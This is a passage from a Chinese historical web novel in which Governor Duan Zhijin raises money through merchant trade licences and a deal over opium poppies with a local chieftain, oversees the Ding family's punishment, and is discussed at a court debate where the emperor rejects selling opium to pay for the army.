段之缙也察觉到了荒谬之处,三个人又一句话不说,段之缙盯着帐子里滴滴答答走的西洋钟,灵光一闪,“长江中下游一代多商贾巨富,何不叫他们出钱?” 苏奋看他的眼神都变了,以前怎么从未觉得段总督这样的异想天开?俗话说无商不奸,人家能做那么大的家业,定然是无利不起早,没有一个冤大头。 段之缙接着道:“现在和外夷的交易,朝廷只允许岭南一处通商,并且这买卖还只能是内务府的官员做,内务府和外夷做了交易,再把洋货卖给本土的商人,倘若我们开放资格,仿照‘盐引’用一个‘商引’出来,叫他们竞价拍卖,钱不就来了?” 向古问道:“什么是拍卖?” “就是价高者得!凭证一定要少放,叫一百个商人来争抢十个名额。” 如今和外夷通商是暴利,当年还没有高中进士的时候,段之缙在外祖王家暂住,便有舅舅在岭南钻营此事,但朝廷管得太严,不许任何人染指这门生意,王家只能在岭南做些普通买卖。 苏奋道:“内务府和外夷做生意赚的钱,都是入皇帝的私库,你这可是老虎嘴里抢饭吃了,陛下不一定准许。” “先上折子问问看,万一陛下允准了呢?” 苏奋和向古都答应下来,三个人联名上折,在折子里详细写了水西的□□一事,又说明段之缙的计划,苏奋觉得事关重大,竟用了六百里加急去送。 之后该练兵练兵,段之缙本来要再留一段时日,结果陈山到了南诏军营,说是来了皇帝的圣旨,叫段之缙回去接旨。 六百里加急刚刚送出去,丁家的事情还在查办,皇帝能有什么指示?段之缙心中虽然疑惑,但也不敢拖延,立刻回总督衙门,原来是为他加尚书衔的圣旨。 段之缙接过圣旨设香案供奉,送走了宣旨大臣之后和沈白蘋面面相觑。 沈白蘋道:“我大概知道是因为什么了……” 段之缙惊讶,“你怎么知道?” 沈白蘋带着他去书房看信,有一封郑楒琅从京中送来的信已经被拆开看了,上边应当就是段之缙晋升的原因。 原来是肃王论罪,牛痘的功劳还给了段之缙,也是肃王窃取别人功绩的罪名。 “陛下以蒙骗先帝等罪名拘禁了肃王,叫刑部论罪,最后议出不敬之罪九,违逆之罪十,僭越之罪五,还将当年他在西北和赤砂的三王子沟通联络的事情翻 了出来,议了叛国之罪。陛下命宗人府在肃王府中另起小屋,将肃王关在了里边,说是怜惜骨肉之情,叫他思过。” “但我听管宗人府的大臣说,肃王府已经不出不进好几日了。” 段之缙咋舌,不出不进哪来的粮食和饮水?这一次肃王怕是凶多吉少了。 这样的手段,似是有些阴狠,但与段之缙何干?猝不及防升了官,段之缙还高兴着呢,只是希望水西的折子送到京城之后,皇帝不要气得把他尚书的职位削了。 除此之外,郑楒琅给他送来了册封大皇子为皇太子的消息,嘱咐他:“册立皇太子之后,西宫太后已经久不见陛下了,说起此事只会叫陛下烦闷,因而千万不要上贺表。再者,当初在国子监单独为你授课的薛永旺薛大人辞世,为表为人弟子的尊重,该写挽诗送悼词去薛家。毓秀大人年事已高,今年开春乞骸骨,已经致仕了,你是否要送些文字到京送别?” 薛永旺大人竟然去世了…… 也是,薛大人高寿,算是喜丧。 毓中堂,先帝大丧期间协助东宫太后处理事务时身子便不是很好,能够告老还乡也是好事。 两位大人这辈子清清白白,最难得没有晚节不保,于他们自己而言,应当是没有遗憾的。 段之缙靠在太师椅上蒙着脸,怅然若失。 当初内阁的四位中堂,方家二位已经论罪,毓秀中堂也致仕,只剩下当初一同出使赤砂的刘玳廷还在。 此番巨变,也不过是一两年而已。 叹一口气,段之缙把盖住脸的信纸拿下来,将书架上好生保存的金笺纸取下,用此写了挽诗和悼词,和几张银票一同封好,命人送去薛家。 又提笔写了一封叙旧的信,连带剩下的三张金笺纸一起送给毓中堂。 沈白蘋摸摸他的脑袋,“当真舍得了,这五张金贵的纸还没捂热乎呢。” 段之缙回道:“再金贵也是身外之物。锁儿呢?他最近如何?” “倒是一副好孩子的样子。因为学堂里有不少孩子比他大,读书也比他多,他自己便也努力上进,生怕比不得旁人。还有一件奇事,柳师爷小儿子柳河也不知怎么的,锁儿就是瞧着他好,天天溺着他。可人家到底长了他四五岁,说什么他听不懂,急得要命,也顾不得招猫逗狗玩蛐蛐儿了,求我要了柳河平日里读的书,叫我给他补课,就想和柳河一块儿玩。” 段之缙惊奇道:“当真?” “自然是当真。还有宗师爷,给他们请了武先生,上午读书,下午就学射箭,偶尔带着他们骑骑马。” “骑射的确是大事儿……” 现在交通不便利,朝廷总体上还是奋发向上的,对外扩张,便重视骑射,虽说现在火器才是杀手锏,马却还是不能丢。 “之后我给他们弄些小马过来,叫他们都学着骑一骑。” …… 段之缙没有在总督衙门呆太长时间,只和锁儿玩了两日,逗了逗段一撮就又启程,先去明江府看丁家案的进程,又打马回了军营等候圣命的到来。 折子送去的急,送回来的也急,皇帝答应了段之缙的请求,叫岭南、岭西的总督配合他行事,还附上了一叠银票。 “朕知外放臣工不易,维系一方衙门运转所费不少,从朕之私库拨银二万两专为尔督抚衙门公项支应。然则水西土司素来狡黠,切勿私相授受,顾全朕用人的脸面。上年奏报的火耗处置甚得机宜,拟具条陈,详列奏闻。另于地方官吏俸外支销一事,若有见解可一并具折密陈。” 第105章 105段之缙将银票拿出来,看看…… 段之缙将银票拿出来,看看旁边围观的向古和苏奋二人,腹诽皇上做事不周全。 两万两的银票送到军营里,自己还能好意思独吞吗?可若是直接给,向古和苏将军能要吗? 正想着怎么办,向古笑道:“部堂到底是陛下的亲信,连衙门的费用也是陛下出,我等所不及啊!” 段之缙将银票放在桌面上,回道:“陛下一片慈爱之心,如父如母,归根到底是怕我走上歪门邪道,坏了名声。可是去年南诏的火耗重新分配之后,总督衙门也不缺钱,不仅能够养活家人和差役,多少还能剩一点儿,得给这两万两寻个好去处才是。” “不如这样,把这笔银子当作给将士们的奖励,如若开战就按人头算,一个敌首一两银子如何?如若不开战,就用作军营的建设吧。” 向古自然是高兴,西南这块儿地方贫瘠,军营也要吃协饷。吃协饷就是跟别人讨饭,哪里有不受气的?两万两银票投到南诏军中连个水花都打不响,但是毕竟是白得的银子,能激励士气也不错。 “那就谢过大人了。” “何必称谢?” 苏奋在一旁盯着地图不说话,把水西的地势好好瞧了瞧,突然感叹道:“段大人想的法子,还有一个妙处啊!” 向古回头一看,忙问原因。 苏奋回道:“你看,乌蒙和乌撒这两地前面的土司势小,不敢违逆朝廷,身后的水西便是唯一的粮道。只要水西改土归流,乌蒙和乌撒一下子没了粮食,便成了秋后的蚂蚱,蹦哒不了几天了。” “水西不要单独设县,他们单独设县周围的小部族没法安排……不如这样,把这些地方全划给水西,牢洱配合着你里外夹击,叫这些小土司一体改土归流。” 向古问:“人家如何答应?” 段之缙一摆手:“他们愿不愿意不重要,跟牢洱说,只要能劝服他们,这些地方任由他种上阿芙蓉花。只要牢洱发力,两边的压力一出,不怕他们不就范。” “还有水西要孝敬我的银两,就算只有一次孝敬,这个银子也不能不赚,我要抽成,抽成之后全用在南诏军上如何?再多弄些火铳。” 苏奋点头,带着段之缙划了粮道,商议好对策,又把军费开支说了,大家一致定下十抽一。 这样的比例定然要比水西打点官员来的少,想必牢洱也能接受。 一切都做好了安排,段之缙又叫来包诸写处理火耗一事的章程,说道:“按着我说的写,你自己估量估量用词。火耗一事各省皆有收取,弥补碎银铸成银锭时产生的损耗,防止上缴的赋税不足,但损耗之比率未有定数,南诏和岺州二省各州府竟有各自的比率,少者是正赋的二十分之一,多者几乎相当于正赋,因而有些州府已经是民怨沸腾了。” “州府官员加杂税,首要原因即是俸禄过少而衙门一应开支均由主官承担,官员们入不敷出自然要靠火耗。次要原因就是中饱私囊。朝廷可为各省安排火耗比例,将一省火耗全都入库,再按照州府所需分配,那么州府官员便再无贪污理由。” 段之缙想着既然都要实行火耗归公了,干脆养廉银也报上去,取消了火耗的权利,和断人财路无异。两者一块儿操作,也能消解官员一部分怨气,顺便赢得清官的支持。 于是苏奋和向古便眼睁睁看着他吩咐包诸把给官员们发“养廉银”的主张写了上去,两人面面相觑,头一次见胆子大到这种地步,直接要皇帝涨俸禄的。 还张嘴要给自己加俸加到一万两。 段之缙派人把折子发出,又送走了苏奋、向古,吩咐王章为他研墨,他要亲书一封家书送给淮宁王家。 王章看着他将岭南要发商引的事情在信中详说给王家外祖,难掩心中的担忧,迟疑道:“二爷,这是朝廷的政事,告诉了王家老爷,是否有泄密之嫌?” 段之缙一边写着一边回道:“岭南离着淮宁太远,再者岭南也有不少大商,总督贺子成不一定会愿意把消息发往淮宁。我告诉了外祖,他们也不一定能够得到商引,但是知道总比不知道好。” 王家这么多年,供给了段家多少银两?数也数不清,段之缙也该为他们打算一番。 “商引发行的地点 是在岭南,贺大人的地方,我就是跟外祖说了,也得舅舅们自己去竞买商引,并不妨事。” 至于贺子成会不会考虑到王家是朝廷大员的外祖,给他行便利,这就是贺子成自己的打算了。 段之缙一副胸有成竹的样子,王章也就不再多言,等着二爷写好后寄发出去,段之缙准备约水西的牢洱详细谈一谈。 这一次牢洱终于答应到汉人的地盘来,地点就在保宁县,将改土归流一事详细谈谈。 段之缙可不跟他尽什么地主之谊,一见面只上了茶水,便要开始正式的商谈,牢洱看了看四周,问道:“怎么不见另两个县令?” 段之缙疑道:“还有哪两个县令?” 牢洱笑回:“我听说兆仁改土归流的时候,就找了吴阿兰来劝马黎,怎么这次不叫马黎来劝我?” “你的消息倒很是灵通,可他们如何能跟你比?对于水西,朝廷是不打算驻太多士兵的,叫他们来只会让人家觉得朝廷不公。”段之缙眼睛一眯,小心叮嘱道:“你可不要大舌头到处乱说,叫吴阿兰和马黎知道了水西不用驻太多兵,他们再闹到我的耳边,这可就完了。” 牢洱哈哈大笑,“那就请大人放心好了,我牢洱一向不是多嘴多舌的人。” 两人开始一项一项地细谈,从驻兵开始说起,段之缙并不要求如燧明、兆仁一般设置派驻大量的火铳小队,只是需要朝廷的官员能够定期地进去巡查。 “这定期是多长时间一次?” “到你们的阿芙蓉花开放的时候,我们便进去查看一次如何?” 这个条件并不苛刻,阿芙蓉花一年可栽种两次,开花两次,也就是一年巡查两次。 牢洱颔首:“若果如大人所说,自然是可以的。” 段之缙命人将此记下,轻吐了一口气,等着花开的时候,就算是他们发现了不对,抢种粮食也来不及了。 话说到设县的时候,段之缙和出使那天的说法全然不一样了,他往地图上点了两笔,说道:“水西有些小了,若是要设县还不够格,倘若能和周边的小部一起合并设县,这县令还是你来做。” 牢洱疑惑道:“我们水西大小四十余寨,这地界可比燧明、兆仁大不少。” 段之缙嗤笑一声,“本督所言的大小,非为地域之大小,而是从管理难易上说的。如那燧明、兆仁之地,寨子虽不甚多,但人口甚众,现在又多了汉夷交杂的问题,自然要设县治理。” “若说你的水西,地域虽大,可到底是崇山峻岭之内来往不便,汉人也不愿意往山沟沟里钻,你们的人口又少,没有单独设县的必要性。” 牢洱听了面上带着不悦,“难道说这事儿要叫我来办?上次您到我水西的说法可不是这个。” 段之缙道:“自然是要我们来办,本督在外边使力,你在里边使力,能叫多少的土司改土归流,你的地盘就有多大,你的阿芙蓉花就能种多少。” “当真?” “自然是真的。” 牢洱有些心动,周围的地盘也不算少,虽说是种粮食困难,但种花却不见得那么难。 段之缙也不慌,周边都是山沟里的小土司,能够叫他们被水西统领,也是方便了日后管理,粮道的布局也还在掌握之中。 前边行政的事情商量好,终于到了重头戏——□□销售的问题。 段之缙好似不关心别的,只问道:“如果水西全境都种上花,你一年能给多少钱?” 牢洱一愣:“咱们不都说好了吗?一年是白银一万两。” 段之缙的手指在茶碗上划两下,回道:“你不是说另有我的孝敬吗?能给多少钱?” 牢洱恍然大悟,思考一番回道:“两万两如何?” 段之缙断然拒绝:“两万两可不行,我要抽成!十抽一,卖出去十两银子,就得有一两是我的。” “大人这就有点过了吧,十抽一您叫水西吃什么?” “我保你们一路畅通,再不用一步一道关卡地打点州府官员。我不信,你打点州府官员的银子达不到十抽一。” 牢洱不悦道:“话可不能这么说,倘若连这点儿便利都没有,我又何必答应大人的改土归流?” 他叫今天一场场的“意外”闹得心烦意乱,两万两银子已经是诚心诚意的价格了,这个总督倒是会狮子大开口。 十抽一,亏他想得出来! 牢洱有些气,直身站起来就说要出去透气,段之缙悠闲道:“现在的□□都是偷着贩卖的,你们难道不是担惊受怕吗?可改土归流之后就是正大光明的卖了,设店铺也没关系。这又怎么能一样呢?” “岭南总督那里我会说,所有人都会给你们行方便,但如若你临时反悔,我也会跟岭南总督说,叫你们一两的□□也卖不出去。” 段之缙拿着茶碗悠闲自在地喝水,牢洱听了之后悻悻地坐下,最终答应了段之缙十抽一的条件。 水西的事情也算是告一段落,段之缙和车慧清等人商量具体的措施,又忙着给水西周边的小土司试压,又要防着乌蒙和乌撒出其不意地造反,就在这时收到了淮宁的来信。 段之缙看了之后直呼佩服,也怨不得王家的生意能做大,外祖果然是敢想敢干的人。 信中就问了一个事情,倘若王家拿出一百万两为朝廷做军费,朝廷能不能将和外夷通商的权利永远许给王家。 第106章 106王章吓得不轻,抱怨道:“老爷…… 王章吓得不轻,抱怨道:“老爷真是想一出是一出,他怎么敢叫二爷问这种事情。如果万岁爷恼了,这雷霆之怒叫二爷一个人承受吗?” 段之缙却觉得外祖的打算倒不失为一个好法子。当然,这是对朝廷而言。 先帝的大墓前不久才封上地宫,国库的银两有些紧俏,西北用兵都用不起,西南的军营还要省吃俭用。如若能从这些大商人身上抠出一千万两的军需,也算是解了朝廷的燃眉之急。外祖等商人也能够获得同外夷通商的机会。 可以说是两全其美,各取所需。 段之缙让包诸写折子询问此事,可以叫商人纳捐,赐给他们虚职和商引,全国上下不仅有淮商,还有各地的大商人,一千万两手拿把掐。 自水西改土归流,段之缙的事情就缓了下来,五月份,段之缙派吴阿兰和马黎同去水西看阿芙蓉花的生长状况。 吴阿兰和马黎一同去了,同牢洱会过面一同站在田埂上看,花托上缀着一个又一个绿色的果子,在风中摇曳。 贵族的家丁们出来监工,瘦骨嶙峋的奴隶拿着小刀在果子上刻划,白色的浆液顺着伤痕一点点渗出来。 等它们晾干后,就可以再制作成□□。 马黎看着志得意满的牢洱,羡慕起来,“你们倒是好了,土地不用分出去,又能种劳什子阿芙蓉花,段之缙还给你们弄着粮食吃。” 牢洱满面笑容,表面抱怨实则炫耀道:“你们虽然把土地分了出去,但赋税低,我们就难了 ,五分之一呢。” 马黎大吃一惊,讷讷不能语。 赋税竟然这么高,简直能把兆仁沥干净。 牢洱又道:“今年第一茬阿芙蓉花种的还是不够,把本钱和打点的费用去了,也就能剩下四十来万两吧。等着今年水西全种上花,下一批阿芙蓉也不过是一百来万两。” 马黎听着差点留下来口水,嫉妒得眼睛赤红,嘴上开始骂骂咧咧,心里偷偷打算着自己也种上一批,发一笔横财。 吴阿兰眼里却闪出精光,她估摸着事情绝不是这么简单,哪怕只接触过几次,吴阿兰也知道段之缙的便宜不好占。 现在看着水西是占了大便宜,以后指不定要吃大亏。 而且她总觉得不对,一个地方全种上罂粟花,吃的饭从哪里来?难道真的要全靠着朝廷接济? 她默默不说话,巡察完之后便入了克西府给段之缙汇报。 马黎跟着吴阿兰一起,一件段之缙就开始大声吆喝:“大人,怎么能厚此薄彼,牢洱能保留土地,我们这些冤大头就得分地?还是说就欺负我们这些老实人,柿子就挑软的捏?” 段之缙愣瞧着他发疯,只回了一句:“你想种就种,种了之后怎么样我概不负责。” 而后看向吴阿兰:“倘若你也想种也可以种,还是那句话,概不负责。当然了,没粮食还是可以问本督借调。” 马黎大喜过望,这一会儿也不生气了,擎等着回去安排种阿芙蓉花,吴阿兰不言不语,知道天上绝不会掉馅饼,今年该怎么样就怎么样。 段之缙了结了这个事情,问起来阿芙蓉花的状况,吴阿兰回道:“看着是挺好,牢洱说下一批全种上阿芙蓉,大概能有个一百来万两的收入。” “这也跟你们说了?那这一批呢?” “四十来万两。” 段之缙闻闻茶碗盖的香气,估算一下,十分之一就是四万两,一笔巨款啊,真是发了大财。 “行了,你们回去吧。” 段之缙打发了他们准备去明江府去,丁家的案子已经到了结尾,要如何处理得汇报陛下。 林忠平是干实事的,把丁家的底裤都扒了下来,不仅有骗占土地的情况,他们家的三爷还逼死过人命,贩卖过人口。 贩卖人口,倘若真按着律例来判,这是凌迟的大罪,只是废除了凌迟的刑罚,现在一律斩首。 好一个诗书传家,净是些男盗女娼。 段之缙递了题本和奏折上去便回了总督衙门,途中还给锁儿弄了匹好马驹,少见的西北良马和本地马种的杂交马,耐力和速度都不错,脾气又温顺,学骑马的上选。 段之缙是晚上到的总督衙门,因着天太晚直接睡在了书房,第二天才去阿娘的院子请安,顺便进锁儿的屋子看看儿子。 锁儿见了爹爹头不抬眼不睁,一个劲儿穿衣服往外跑,段之缙搂搂他的小身子,被锁儿皱着眉头推开。 “爹爹别碰我了,我要上学堂了。” 沈白蘋倚着门框嗤嗤地笑,“快别动他,他急着见他的小柳哥哥,若是晚了上课叫先生罚站,见他小柳哥哥的时间就少了。” 段之缙失笑,亲自送他去了学堂。 学堂在总督衙门东边,隔了一条街,段之缙看着衙门里的师爷把孩子牵进去,有些孩子老大不情愿,脸上还带着气恼。 不像自己手里这个,已经等不及要往学堂里冲了。 宗师爷也来送闺女,远远就瞧见了段之缙,上来打招呼。 “大人,用早饭了没?要是没有一块儿去吃点儿?” 段之缙回道:“夫人还在后衙等着,下回再吃吧。问你个事儿,哪一个是柳师爷的儿子?” 宗师爷在门口指着一个粉红衣裳的男孩,答道:“就是那个,可人爱得很。” “啊呀,真的是难得的相貌。” 小男孩唇红齿白,脸上挂着两个深深的酒窝,诵书也是清清亮亮,眼睛忽闪忽闪的。 “柳师爷还能生出来这样的小子呢?” 宗师爷笑得不行,“据说,柳师爷年轻的时候俊得很,就是喝酒喝的,把脸都喝糟了。他媳妇长得也好看,生下来的小子也俊。” “日后找儿媳妇或是找女婿,千万要挑好看的来,要不然生下来小孩都愁得慌。” 段之缙瞄他一眼:“怎么说这样的话?可是找了不顺心的女婿或是儿媳?” “那倒没有,就是想一遭说一遭。” 段之缙看着自己的儿子蹭过去和小柳坐在一块儿,开始摇头晃脑地背书,笑着回了总督衙门。 总督衙门呆了没多长时间,段之缙便收到了圣旨,皇帝命丁承嗣自尽,抄没了丁家的财产,但到底没有赶尽杀绝,仍留有余地,赦免了其他的人,又为他们保留了一部分的土地和房产,起码能够糊口。 抄家那日,南诏少见的大晴天,万里无云、风清气爽,段之缙怕抄家抄出来乱子,特意从自己的督标营中选派了抄家的兵丁,警告他们不准中饱私囊,抄家的赏银会另行分发。 丁府内哭声震天,丁元敏的妻妾还有尚在人世的,段之缙怕她们受惊吓,将她们安置到了后院,这才去处置丁承嗣。 皇帝派来的宣旨大臣一起。 段之缙站定在丁承嗣身前,宣旨大臣手捧着托盘,“三尺白绫,一杯毒酒,还有一把匕首,一共三样东西,你自己选吧。” 丁承嗣奋力挣扎想要摆脱兵丁的钳制,段之缙一摆手让他们放开,问道:“你已经没有别的出路了,还有什么好挣扎的?” 丁承嗣涕泗横流,抱住段之缙的大腿,哀求道:“大人,大人,求您再为我求求情,我罪不至死,我罪不至死啊!” “那些被你们强占了土地的农民和被买卖的男女又有什么罪过?陛下已经开了天恩为你留有全尸,还赦免了你们家的绝大多数人,你该上路了。” 丁承嗣还在苦苦哀求,段之缙不为所动,他便转哀为怒,大骂道:“你算什么东西!你父亲不过是捐上的员外郎,早死的鬼,你母亲也不过是商户女!你倒是来这耀武扬威了!不过是舔着端王上了位,这样的下贱种倒来清算我了!” 宣旨大臣脸都气紫了,附耳道:“他语里牵涉陛下,已经疯魔,不想要体面的死法了,大人快做决断吧。” 段之缙冷冷看他一眼,带着钦差退了出去,身后是丁承嗣凄厉的嚎叫。 “我爷爷是丁元敏!我爷爷是帝师!” …… “我爷爷是丁元……” 渐渐的,什么声音也听不见了。 宣旨大臣验收了丁承嗣的尸身,脸庞涨紫,舌头掉在外边,脖子上还缠着白绫,倒是能给他当裹尸布。 确定是没命了。 抄家的差事做了得有一个月,丁家的巨额财产才完全登记成册,金银珠宝这些俗物直接入了南诏的藩库,段之缙“穷人乍富”,已经不知道要做什么好了。 古董书画和前朝孤本这样的珍品送上了京城。 段之缙在城门送别宣旨大臣,丁家的事情才算彻底落下了帷幕。 直到有一天,三更半夜,段之缙正在后衙数着牢洱送上来的“孝敬”,陈山踉踉跄跄地冲进了后衙,隔着门大喊道:“大人,大事不好了!衙门口的树上吊死人了!” “什么?!” 段之缙来不及穿鞋,赤着脚穿着亵衣往外奔,沈白蘋也急急忙忙穿上衣裳往外冲,果然有一具尸身摆在衙门口,旁边站着丁承宗。 段之缙顿觉不妙,上去查看,一掀白布,正是丁元敏的老妻。 这下麻烦了。 雪花一样的题参折子和段之缙才送上去的水西□□的状况一起摆上皇帝的案头,这下皇帝也是头痛欲裂。 丁承祖痛不欲生,悲泣道:“陛下下令叫罪臣之弟自尽,但罪臣的弟弟不是自尽,而是叫段之缙命人勒死的!死得时候手还扣在脖子上,指头缝里全是血……” 他哀哀泣着,又哭自己的祖母,皇帝只想用折子捂住脑袋。 又没有赶尽杀绝,怎么就成了这个样子?已故帝师的老妻吊死在总督衙门的树上,朝廷的脸面都丧尽了。 皇帝 再看看身前已经哭撅过去了的丁承祖,吩咐人把他抬下去,叫院正来给他看看,又问跪在一旁的皇太子,“这个事儿你有什么想说的?” 第107章 107太子眼巴巴地看着丁承祖被抬出…… 太子眼巴巴地看着丁承祖被抬出去,一时也没有反应过来皇帝问了些什么。 皇帝心中涌起一股火气,但是想想蒋育成说的话,还是深吸两口气,平复了下去,又问一句:“太子,朕刚才问你段之缙这个事情应当如何处理。” 皇太子“啊”了一声,抬着头小心翼翼地瞧了一眼皇上,又心疼自己的先生,对段之缙自然是十分的不满,回道:“儿臣以为段之缙自作主张勒死了丁承嗣,做事太不留情面,这才叫丁老夫人吊死在了总督衙门门口,实在是有辱朝廷体面,应当叫都察院题参,将他革职议处。” 皇帝心里的脏话已经涌到了嘴边,还没等着吐出来,身边的长乐王先说了话:“太子说的有道理,只不过丁家表面上是针对段之缙,实则是对皇兄的处罚心怀不满。丁老夫人这样吊死了,大家不仅会议论南诏的总督,也会说皇兄对着先帝的帝师不留情面。” “可丁家作奸犯科咱们都清楚,陛下已经是网开一面了。他们这样不知好歹,皇兄也不必再顾及旧情。” 说到此处,长乐王不留痕迹地看了一眼太子,接着道:“如若真因此事把段之缙罚了,不是朝廷的过错也成了朝廷的过错。咱们既然没做错,那就应该理直气壮,他们自尽是羞愧难忍,并非有所不公。” 皇帝嘴边的话咽了下去,又看看皇太子,“你王叔说的如何?” 皇太子瞧一眼长乐王,神情有些蔫蔫的,“王叔说的自然有道理,是儿臣思虑不周。” 这话说的,一点自己的主张都没有,人家说什么他就听从,只会一味地称是。 更何况说这话的还不是皇帝,而是长乐王。 一个亲王的话他都听从,登基之后还能指望他什么? 且他先前答的皇帝也很不满意。 皇帝憋了两口气,叫他接着跪在脚踏上认真听大臣们议事,而后叫唐馥和宋征舆说话。 两人低眉顺目道:“臣等都赞成长乐王的意见。” “那长乐王接着说。” 长乐王便接着说道:“臣弟以为段之缙在南诏弄出了这些事情,再留任已经不合适了,不如把他调回京城,或者是调往别的地方也好,起码平息当地的舆论。皇兄以为如何呢?” 唐馥刚回京不久,虽很长时间没与皇帝见面,但到底有旧情在,此时提议道:“皇上,臣以为还是叫段之缙接着在南诏干吧。改土归流一直都是他的活,此时改土归流尚未完成,另派他人怕是难以承担这个重任。” “而且据段之缙所称,这一批□□的孝敬足有四万两,可见□□利润之丰厚。西北正是缺钱的时候,是否要让他在南诏安排一番,广种阿芙蓉花供朝廷自己售卖以充军饷呢?” “断断不可!这是竭泽而渔,并非长久之计。”宋征舆急得鼻尖儿冒汗,都不知道唐馥是怎么说出来的这句话。 □□的害处二哥已经在折子中写的明明白白的了,如何敢让朝廷来种?这岂不是虐杀生民? “陛下,□□的害处,我们虽没有得见,但据段大人所称,一省的百姓将受其害。现在贺大人已经收缴了岭南的□□。倘若朝廷在南诏制作□□出售,又要如何处理呢?难道真的卖出去吗?” 唐馥反驳道:“那西北的军饷怎么办?□□虽能成瘾,想必也能戒。售卖□□也只不过是一时之举,只要西北的战争胜利便就此打住并不会造成太大的危害。一个小小的水西全部种上阿芙蓉花,两次出售,一年的收入就有两百万两。南诏只要拿出来十分之一的土地种植,几千万两就有了,什么仗打不了?” 宋征舆道:“段大人不是已经说了,可以向商人纳捐吗?将与外夷通商的商引给他们,让他们来出一部分军费。难道不是两全其美的办法?” “可东南的生意一直都是内务府官员来做,现在叫商人来做,分的不是陛下的利吗?” 他们两个说着便上了头,东南、西南、西北三个方向的政务全拉着说了一遍,皇帝听着心中已经有了决断。 长乐王了结皇帝,不啻于皇帝了解长乐王,已经猜到了皇兄的想法,因而背过身去,无聊到偷偷打了一个哈欠。 “行了行了,别吵了。朕还在这儿呢,有什么好吵的。” 皇帝启声制止他们,“宋征舆说的对。朕乃天下之主,岂能为一己私利而置东南生民于不顾?□□,无论如何也不能开放,即便是为了西北的军事也不行。西北的军饷紧张,那就从上到下一起省,把商引发出去筹集军饷,朕的私库也补贴上。但绝不能,绝不能把主意打到□□上面。” 唐馥看了一眼皇帝,低下头去。 皇帝又道:“就按照段之缙说的来吧。拟旨,叫他把心思放回到改土归流之事上,丁家的事情不要再管了。顺便催催他,时间过了一多半,现在才改了不到一半,问他剩下的什么时候能改完?” 乾清宫里唯一的进士就是宋征舆,拟旨的事情自然要他来做。 就在宋征舆伏案拟旨的时候,皇帝看着唐馥,意味深长道:“你的能力是有的,只是太急功近利。有些时候太过急切,反而会误事,酿成大祸。孰轻孰重你要自己学会衡量。” “是,谨听陛下教诲。” 而后皇帝看着皇太子,眉头一皱,“这么多人一了一顿,你可学到了什么?” 皇太子没想到还有他的事,有一瞬间慌乱,但是仍被皇帝捕捉到了。皇帝忍了两忍,又想起蒋育成劝他不要成日打骂的话,最重没有发火,等着太子说话。 便听太子郑重其事道:“是,大人们说的都在理儿,儿臣受益匪浅。” “朕问你学到了什么?” 太子战战兢兢地回:“儿臣认为,治理天下需要一颗仁心。父皇爱民如子,比起西北的军事,更重视东南的子民。” 这还有不重视和更重视? 皇帝也不知道该说什么,只不耐烦地叫这些人全都下去,最后气得把折子盖在脑袋上,呼呼喘气。 手摸索着去碰桌子上的茶碗,殊不知长乐王还没走,瞧他瞎子一般摸索,直接把茶碗递了上去,倒把皇帝吓了一跳,一把扔开了折子看是谁。 看清是长乐王后放下一口气,叹道:“是你啊,留在这里干什么?” “臣弟听说奉江的总督陈四平上了一匣文府墨,能不能……” “去内务府要就是。成天想着这些东西,我记着你也不爱写字啊?” 长乐王笑笑,“那不是有郑楒琅吗?好马配好鞍,郑楒琅的一笔好字,一手好词也要配上好墨才行。” “上一次给你的金笺都用完了?” “早就用完了,一张都没剩下。” 皇帝感慨:“暴餮天物,你把这前朝的东西当烂大街的纸用啊?” “再难得也就是些纸,不用才是浪费。臣弟可不跟那些文人雅士一般,把纸压在箱底留着生虫。” 自去岁冬至日行了太子册封大礼,长乐王便没了什么心思,对太子恭敬有加,并不自持长辈的身份,皇帝也跟着松了一口气,待他如同往日。 什么纸呀墨的?只要他要便没有不给。 他那七岁的儿子也早早封了世子是要叫他再传一代亲王。 皇帝看着长乐王,再想想刚才的太子,倒有些可惜纪祎不是自己的亲子。 倘若他是自己的亲子,又岂会有那么多麻烦? 长乐王的目的已经达成,行礼退下准备去内务府要墨锭。 乾清宫门口,郑楒琅斜倚着柱子等王爷,有些犯困,头一点一点的,被长乐王打醒。 “走吧小奸细,咱们先去内务府。” 郑楒琅尴尬地咳嗽一声,张口问道:“王 爷,段之缙那个事情?” “段之缙没事儿,还是做他的南岺总督,今天晚上本王要出城去耍,一起,顺便照看着世子。” 郑楒琅愁眉苦脸,上一年冬天册封太子,朝中的风言风语一下子平息,长乐王也安安分分地办拆,甚至比以往更卖力。 皇帝心里高兴,嘴就不严实,把命自己监视长乐王的事情当个笑话说了出来。 长乐王对着皇帝不好说什么,回去之后可着劲儿“折磨”郑楒琅,把他要去了王府做长史。 这下好了,三天两头要出城,一玩就是半个晚上。长乐王精力旺盛,睡两三个时辰还能策马回城,第二天正常办差。自己可就惨了,给王爷写着诗,还得教着世子读书批改窗课,一天晚上能睡两个时辰都是多的。 结果今天又要出城,郑楒琅实在是顶不住了,求道:“王爷,之前的事情都是陛下吩咐的,做臣子的难道还能拒绝吗?您大发慈悲,高抬贵手,若臣再跟您一样熬着,早晚暴死。” 想了想死道友不死贫道,干脆拉人下水,一连举荐了好几个诗词秀美的前任翰林院同僚,多几个人起码能分担分担压力。 长乐王回头一笑,阴阳怪气道:“没事儿,我们带着御医去,倘若你发病了,就让御医给你看看,总之要不了你的命。走吧,今儿骑马去,半个时辰就能出城。” 郑四郎哭丧着脸跟着去了。 正当他们在京城商量的时候,段之缙在南诏也是一脑门子官司。 前衙内,所有的师爷都聚集在一起给他出主意。 柳师爷捻着着嘴边的胡子,愁道:“这个事情闹得太大,周边的老百姓全都来看热闹了,要不咱们还是先服软,叫丁家的人回去?或者问问他们有何条件。” 宗师爷却说:“他们这样大闹总督衙门本就是违反了律令,为什么要咱们先服软?直接抓起来好好审讯一番才是。” “诶,话不能这么说呀。自古以来都是谁哭的声音大谁有理,您要是这么做了,外边的老百姓不知道传成什么样子呢。” 沈白蘋气道:“不行,绝不能这样。如此处置已经是皇帝开恩了。倘若我们好声好气地和他们商量,传出去就是我们的过错,到时候百口莫辩。” 几方人争吵不休,最后大家都看着段之缙,问他到底要怎么办? 段之缙冷冷一笑,“他们不是想着按闹分配吗?那我们就以闹治闹。叫林忠平在当地寻找被丁家迫害过的老百姓,送他们到总督衙门门口,丁家人哭叫他们哭的声音更大,把所有的人都招来,让大家好好听听,这事到底是谁对谁错?然后差人出去问问丁承宗,为什么眼睁睁看着他的亲祖母上吊却不施救?” 大家点点头,段之缙又问:“这一批运往水西的粮食怎么样了?” 